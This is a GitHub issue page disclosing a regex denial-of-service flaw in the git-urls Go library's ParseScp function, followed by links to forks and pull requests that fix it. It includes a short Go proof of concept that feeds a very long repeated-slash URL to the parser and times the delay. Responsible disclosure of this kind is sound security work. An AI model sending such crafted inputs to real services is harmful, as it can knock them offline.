Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Jump to bottom

Security issue in regex #24

Open
6en6ar opened this issue Oct 26, 2023 · 1 comment · May be fixed by #27
Open

Security issue in regex #24

6en6ar opened this issue Oct 26, 2023 · 1 comment · May be fixed by #27

Comments

@6en6ar
Copy link

6en6ar commented Oct 26, 2023

The regex on line 35. inside urls.go is vulnerable to regex denial of service when a long input is provided inside directory path of the git url. I managed to cause a 7s delay but only because the payload in the url was to long. Here is the PoC:

var payload = strings.Repeat("////", 19000000) //payload used, the number can be tweaked to cause 7 second delay
malicious_url := "6en6ar@-:0////" + payload + "\"
begin := time.Now()
//u, err := giturls.ParseScp("[email protected]:/remote/directory")// normal git url
_, err := giturls.ParseScp(malicious_url)
if err != nil {
fmt.Errorf("[ - ] Error ->" + err.Error())
}
//fmt.Println("[ + ] Url --> " + u.Host)
elapse := time.Since(begin)
fmt.Printf("Function took %s", elapse)
@mitar
Copy link

mitar commented Nov 21, 2023

Care to provide a fix?

@dlorenc dlorenc mentioned this issue Nov 30, 2023
Open
@mojotx mojotx linked a pull request Feb 11, 2024 that will close this issue
Open
grinish21 added a commit to grinish21/cli that referenced this issue Aug 14, 2024
@grinish21
dep: use chainguard/git-urls instead of whilp/git-urls
d569b51 
chainguards repo fixes the security issue with regex used - whilp/git-urls#24
@grinish21 grinish21 mentioned this issue Aug 14, 2024
Open
4 tasks
AlekSi added a commit to AlekSi/task that referenced this issue Nov 11, 2024
@AlekSi
Switch to mainted fork of git-urls
9f783c1 
Switch from https://github.com/whilp/git-urls to https://github.com/chainguard-dev/git-urls.
See whilp/git-urls#24 and whilp/git-urls#28.
Many scanning tools complain about that.
@AlekSi AlekSi mentioned this issue Nov 11, 2024
Merged
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Assignees
No one assigned
Labels
None yet
Projects
None yet
Milestone
No milestone
Development

Successfully merging a pull request may close this issue.

Fix regex denial-of-service mojotx/git-urls
2 participants
@mitar @6en6ar